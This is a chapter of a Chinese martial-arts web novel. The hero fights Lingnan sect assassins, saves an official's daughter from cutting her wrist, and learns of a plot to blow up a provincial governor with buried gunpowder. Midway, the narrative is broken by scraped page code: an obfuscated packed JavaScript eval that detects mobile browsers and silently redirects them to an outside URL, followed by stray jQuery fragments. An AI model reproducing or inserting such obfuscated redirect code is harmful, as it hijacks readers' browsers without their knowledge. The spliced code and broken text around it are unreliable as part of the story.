默认冷灰
24号文字
方正启体

7. 第七章

作者:三白山本书字数:K更新时间:
    等回了宅子,杨若韫想到偌大一个节度使府,恐怕都会因为自己的小恶作剧而彻夜难眠,不禁“哈哈”笑了两声,又躺到床上,毫无心理负担的沉沉睡去。


    如此三日,每晚杨若韫都会去节度使府中“扮鬼”,弄得整个节度使府鸡犬不宁。


    这天他又去集市上买了墨,自己碾碎了墨条拿水搅搅弄出一大桶墨来,当晚便提着墨桶去了节度使府。


    此时节度使府晚上已有许多人守夜,杨若韫轻松避开他们,拣着些极显眼的地方拿着拖把沾上墨汁写下“此宅有鬼”等恐吓字眼,一面写,一面又偷走守夜仆人的东西,再神不知鬼不觉地放在其他人身上。


    写了三四处后,杨若韫才把拖把随手往茅厕中一扔,准备回家睡觉了。


    等杨若韫正在节度使府中穿行时,突有一股微风袭来,他直觉不对,忙翻个筋斗躲开,余光一瞥竟发现那微风实则是几枚锐钉朝他打来。


    他暗道惭愧,心知倘若敌人只发一枚锐钉的话,便难以生起什么微风,在这深夜中他极难发觉,势必中招。


    杨若韫的想法只在电光火石间划过,他刚躲开那几钉,又有许多锐钉发来,此时他有了防备,虽觉那些锐钉似乎是四面八方朝他射来的,他也不显慌乱,用手中桶向一方锐钉一抄,只听见一阵噼里啪啦的声音,那些锐钉都打在了铁桶里。


    他又突向前闯,借着铁桶掩护,暗器已然伤不了他,锐钉也不再发,四个黑影跃上屋顶朝他刺来。


    杨若韫见敌势凶猛不敢硬接,侧身避开一击,从人缝中窜出,使开轻功狂奔起来,那几人也紧紧跟随。


    奔了一阵,杨若韫见对方仍是四人,轻功不见多高明,就慢慢放缓脚步,等距离对方还有七八米远时突然回头拍出一掌。


    那四人忙停下脚步,却哪里能如杨若韫一般骤行骤止,只见那一掌不偏不倚地按在了当头一人身上,那人也不吭声,直直朝后飞去,不知是死是活。


    同伴三人突见杨若韫露出这么一手功夫皆惊骇不已,紧紧攥着兵刃,一时不敢上前,杨若韫冷哼一声,左掌拍向最左边一人,右手提桶砸向最右边一人。


    中间那人见同伴受窘忙挥刀朝杨若韫劈去,杨若韫不等招式用老,右手一提,铁桶已经砸上那人的刀,两件兵刃碰撞,那人的刀被砸飞出去,整条手臂又麻又痛。


    杨若韫一击得手又提桶朝中间那人砸去,左右两人忙向杨若韫夹击过来,却见杨若韫把一只铁桶挥成了威猛无比的兵刃,十招过后两人就被杨若韫砸晕。只剩下中间那人,见了杨若韫如此神勇倒也不逃,空手来斗杨若韫。


    杨若韫把铁桶抛开,同时拍出势若万钧的一掌,那人忙伸臂去挡,只听得“咔嚓”两声,那人手臂竟都生生折了。


    杨若韫见那人手臂折了也不吭一声,心里有几分佩服,就不再出手,只封了他穴道,把他提到一处偏僻的巷子里,问他道:“你们是什么人?为何要来杀我?”


    那人只忍着疼痛,不理会杨若韫的问话。杨若韫见他这样也不逼迫他,出手把他双臂接上了,又解开他的穴道,对他说道:“瞧在你有几分骨气的份上,放你回去了,只别再来为难我。”


    那人看了杨若韫一眼,只道了一声“多谢”,便施展轻功离开了,杨若韫却悄步跟上了他。


    原来杨若韫一交手便认出对方是岭南派的武功,自己干扰他们炸毁节度使府本就冒着被人报复的风险,却不想来阻挠自己的竟是岭南派的人。


    他既疑惑岭南一派和黔州节度使有什么仇怨,又想到黔州中会岭南派武功的人不在少数,这几人不知是何方势力,既然问不出来话,那就假意放他离开,又跟着他走一趟探探情况。


    那人显然武功基础扎实,内功修为不错,杨若韫虽放了他离开,却不见得能消去他的疑心,当下只提起精神,脚步极轻地跟上他。


    那人先绕来路救醒了几个同伴,又拾回了各自的兵刃,在城中穿梭,最后进了一家大户的府邸。


    杨若韫眼见他们进了其中的主屋便不再出来,就悄悄地走近到窗前,听里边的人说道:“你们看他武功怎样?”杨若韫知道这个“他”指的应该就是自己了,接着听另一个人说道:“我瞧他似乎很有些邪门,我们兵刃一碰上他砸来的铁桶便被直直砸飞出去,连手臂也被震得像是要裂开一般,且那人出手毫无招式,只一味地挥桶猛砸,看不出是何门何派的人物。”


    又听原先那个声音说道:“如此说来此人乃是一位内家高手,你们看清楚他长相没有?”有人接话道:“看见了,那人生得一副方脸,脸上许多麻子,还留着络腮胡,瞧来并无什么武林门派的特征。”


    里面人沉吟半晌,才接着说道:“我记不起哪门哪派有如此长相的人物了。此人既然要救那节度使,便是同我们对着干,你们暂且下去养养伤,此事日后再议。”又听那几人齐声说道:“是。”


    杨若韫忙隐身到角落里,听着屋内再无别的动静,便悄声在这府邸中转悠了起来。


    此时已至中夜,静悄悄的一点声音都没有,这处府邸景色甚是秀美,布局也十分严整,在黔州城中勉强算得上是上等了,不过杨若韫自来见多识广,此刻又无心花树,自然不会多留意身边景色。


    他凭着绝佳轻功,在这府中竟似入无人之境一般自如,蓦地看见一个妙龄少女在院中静坐,眼中泪莹莹的不知在想些什么。


    杨若韫心知男女有别,不再多看,刚准备转身离开,却突然见到那少女从袖中摸出一把匕首来,他好奇心起,趴在屋上静静看那少女有何举动。


    只见那少女默默看了会匕首,似是终于下定决心,举起匕首朝手腕划去,杨若韫没想到她竟是要自残,不及多想,拾起身旁的石子便朝匕首打去。


    这石子速度既快力道又大,匕首刚划上手腕,便被石子击飞,却终究留下了一寸来长的伤口,那少女大惊,忙朝杨若韫处看来。


    杨若韫见自己已被发现,便纵身跳入院中,对那少女低声说道“姑娘勿怪,我并无歹意。”


    那少女极震惊下刚准备张口喊人,又想起此人刚救了自己性命,便生生忍下,见杨若韫轻功卓越,身手不凡,颤声说道:“你…你是何人?为何出现在我院中?”


    杨若韫见这少女容貌秀美,长睫上仍挂着泪珠,穿着单薄,不敢直视,低着头回道:“我只是个走江湖的莽人,在城中办事,误入了小姐的小院,乍见小姐似乎受了些委屈,便斗胆来劝慰上一句。”


    那少女想起自己之前的举动,全被眼前这莽汉给瞧了去,不由得脸上一红,低声说道:“那你赶紧离开吧,被我家人发现就不好了。”


    杨若韫听这少女语音柔和,心想此人应当品性不坏,不知因着什么事,竟想着自残,便好心劝道:“姑娘,人生在世有诸多不如意之处,若是眼下境况极为难极烦扰,或许过一段时间就迎刃而解了。”


    那少女蓦地听到这人真诚地劝慰自己,不由得心生感激之情,低声回道:“多谢你告诉我这些,我已想开了,不会再伤害自己了。”


    杨若韫听她这么说便放下心来,又想着不可在此久留,向那少女告一声别后,就施展轻功快速离开了。


    他一面走,一面想着今晚发生的事,只觉毫无头绪,怕自己所居宅子里也埋伏了人,就在客栈里寻了间没人的客房草草歇了一晚。


    第二日天刚大亮,杨若韫又改换面貌,去打听昨晚那处府邸,不过半日便摸清楚了来历。


    那处府邸居住的乃是黔州通判周广源,平素为人亲切,待民优厚,百姓对他评价甚高。


    这位通判大人刚至不惑之年,膝下仅有一子一女,先妻于五年前病逝,只留下长女一个孩子。


    幼子乃是续弦所出,自生下来便极得宠爱,今晚即将举办幼子的百日宴,城内大人物约莫都会去赴宴,却没听说周广源与岭南派武人有什么来往。


    杨若韫又回了原先的宅子,松了柜里那人的绑,告诉他等几个时辰□□道自行解开,便扮作路人,去看了看节度使府,终于见到府中众人正大车小车地朝外搬家,想是这些天的“拜访”奏了效,这才松了口气。


    杨若韫随意进了家茶馆喝了半天茶,始终没再见到什么江湖人士或听到什么消息。


    他自来黔州已有几日,发觉了些城内的波谲云诡,但无法了解内情,心想非得从通判府这头入手才能知晓岭南派究竟有什么筹谋。


    当晚,他便扮作小厮,混入了通判府中,看着府内宾客络绎不绝,不由得想着这位通判大人排面真大,自己也得以轻松进入通判府。


    杨若韫顺着府中伙计的指引到了偏厅,随意找了处偏僻的地方坐好,不过一会儿,就有下人端着酒菜摆起席来。


    与杨若韫同桌的也都是各个大户家的小厮,彼此很快熟络起来,问到杨若韫时,他只含含糊糊地应一声,随即忙着吃菜喝酒。


    其他下人见他这幅贪吃贪喝的模样也心中鄙夷,不再同他说话。


    过不多时,杨若韫一摸肚子,觉得差不多饱了,便径直走出厅去,倒也没人放在心上。


    他问了府中伙计茅房位置,又拣了处没人的地方跃上屋顶,在府中穿梭起来。


    昨晚他已将此府布局记在心中,先去主厅望了望,却只见着一个美貌妇人招待宾客,又见厅中众人个个眼色昏沉,气息虚浮,显是并无任何武功的样子。


    他随即去了府中主屋,从窗外看去,屋中也布了一桌席面,席上众人皆目光炯炯,颇有气势,看着武功不弱。


    杨若韫当下猫在窗边,屏息凝神,静静听他们说话。


    屋中一个粗砺的声音说道:“今日我岭南派诸位师兄师弟皆在此处,想来能困住我们几人的难题只怕不多啊!哈哈!哈哈!”


    杨若韫听他说话竟隐隐夹着风雷之声,不禁一惊,暗忖此人内力与自己不相上下,他的其他几位师兄弟若是也大有来头,自己可万万不敌。


    回想起刚才一瞥之下屋内人的特征,大概推断出来里面应该有四名好手,当年随师父至岭南派时对他们隐隐有些印象,却没见到安振德,便稍稍松了口气。


    又听得一个稍显尖利的声音说道:“今日我们几人既然聚在此处,周大人有什么为难不妨直说吧。”


    那周大人便接话道:“此事也怪我督查不力,竟被人发觉了节度使府地下的秘密,又在节度使府中搞出了些动静,惹得节度使一家现在正忙着搬离那地方,咱们的谋划眼见不成了啊。”


    杨若韫听出这是昨晚吩咐那几个岭南弟子暗杀自己的声音,想着原来这周广源与节度使不睦,便和岭南派联手,预备借火药取了节度使的性命,不料被自己插手此事,却猜想不出岭南派又和这节度使有什么过节。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178347|180830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>又听到原先那个粗砺的声音说道:“原来竟有人不长眼睛,来挡我岭南派的路,那节度使知道是谁给他埋的火药了吗?”


    那周大人答道:“看起来尚未知晓。”顿了顿,又接道:“这小贼自作主张救了那节度使,又知晓火药的秘密,若是咱们不除去他,始终是个心头大患啊。”


    “我摸出了这小贼出没的规律,昨晚派出了贵派四名好手前去围剿他,却没想到这贼子武功有几分邪性,前去的好手竟都不敌,让那贼子给收拾了一顿,不过倒也没受什么大伤,便安安稳稳地放他们回来了。”


    这回那粗砺的声音透着几分惊诧,说道:“咦,原来这人有些本事,不知是何来历?”


    那周大人又去吩咐下人,把昨晚那四人叫了进来,让他们细细说起昨晚经过。


    杨若韫听得正出神,却突然感知到身后有道极轻的声音,他连忙回头,却看见昨晚遇上的那姑娘站在十余米开外,正静静望着自己。


    想来刚才的响动是她轻轻咳了一声发出的,他耳力惊人便能立时回头,屋中人有着墙壁阻隔便听不到了。


    那姑娘见他回头,便摆摆手示意杨若韫过去,杨若韫心思全放在屋内人的谈话上,自认为所处位置十分隐蔽,竟没留意自己已经被人发现了。


    他有些赧然,但全身已经警惕起来,随时准备施展轻功逃离,又看那姑娘没有要喊人的意思,也就远远跟着她来了一处小院里。


    那姑娘刚回过头来就对杨若韫说道:“我身上有暗器防身,你别想杀我灭口。”


    杨若韫一面走一面想着说辞,突然听到她说这话还有些诧异,想着昨晚刚同这姑娘打过交道怎么她还对自己有这么大敌意,复又想起自己此时相貌、身材已和昨晚大异,只要不开口说话,她就不会把此刻的自己与昨晚的自己联想起来。


    想到此处,他又松了口气,心思一转,想着只要告诉这姑娘自己只不过是别人家的小厮,来看看通判为何没去前厅招待客人大概就能蒙混过关了。


    却没想到那姑娘竟没问他为何出现在主屋窗边,倒是像已经知晓他身份似的对他说道:“既然武大人一家已脱离了危险,我爹爹又有岭南派四大高手相助,那么阁下不如转告武大人请他别来报复我爹爹了,以免多生伤亡。若是我爹爹仍有什么对付武大人的谋划,我也会尽力打听到,不叫你们有什么损伤就是了。”


    杨若韫听得一头雾水,但还是含含糊糊应了下来,又听她道:“这次你来我们府中的事我也会隐瞒下来,今日我们府中耳目众多,稍有疏忽就会惹来麻烦,请你快快走吧。”


    杨若韫一听她直接让自己走了,当然毫不拖泥带水地拔腿要走,突地心中一动,想到那黔州节度使正是姓武,刚迈开的脚步就又停下,那姑娘见他本来已经转身准备离开了却又突然停步,不禁一怔。


    只见杨若韫回过头来对那姑娘道:“周小姐,小人虽只是武大人门下的一名小小武士,但也知道我家主子意志坚定,轻易不会更改自己的决策,即便小人把你的话原原本本地告诉了我家主子,想来也起不了什么作用,不如你把我家武大人与令尊如何结怨的经过告诉小人,小人再想些措辞,从根源劝慰我家大人放下这些过节,与令尊握手言和,那岂不是两全其美吗?”


    原来杨若韫电光火石间便从这周小姐的话话中意识到了眼前的姑娘便是周广源的女儿。


    而这姑娘把自己认成了黔州节度使豢养的武士,她又明显知晓些内情,便临时编出了套说辞让她把内情告诉自己。


    杨若韫刻意哑着嗓子说话,那周小姐虽疑惑这人声音怪异,但也没听出他就是昨晚来阻止自己自杀的人,当下便依言原原本本地把自己所知告诉了杨若韫。


    原来这周小姐因为生平只生活在后院中,父亲继母都从没苛难过她,便养出了一副单纯直率的性格。


    哪怕近来无意得知了其父亲的筹谋,也并没深刻体会到世人的狡诈多欺,便丝毫没意识到若是杨若韫在武家地位低微,即便自己把内情告诉他了,武大人也不会听信一个小小武士的劝慰而真的和自己父亲言和。


    在她的话语中,杨若韫渐渐了解到了实情。周广源身居黔州通判已有十余年,因为无法得到升迁便和黔州的武林势力岭南派合作。


    岭南派近年来声势壮大,其中弟子遍布各行各业,也颇有与周广源交好的意向,两方一合作,岭南派便让周广源与黔州城内高官交涉,试图让他们选择投靠北夷。


    周广源最开始也大为震惊,明确拒绝此事,但岭南派好手与周广源谈判,竟拿出了他的一个把柄,又劝周广源倘若北夷人成功灭亡魏朝,到时必让周广源当上节度使。


    无奈之下,周广源只好乖乖照办。岭南派纵横江湖也真有些本事,这些年来竟然拿到了黔州城中大半高官的把柄。


    威逼利诱下大部分人都成为了岭南派的傀儡,最后岭南派又把主意打到节度使身上,却无奈寻不到其软肋而这节度使又态度极其坚定,便不得不想方设法除去他。


    周广源与节度使之间并无仇怨,不过是这周姑娘听说了武家人搬家的消息,以为他们搬离府邸便是因为发现了地道和火药。


    能在黔州城布下这些非得得到自己父亲的帮助不可,便自然而然地以为节度使会来报复自己父亲,见到在主屋窗边伏着的杨若韫便以为是节度使派来的人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)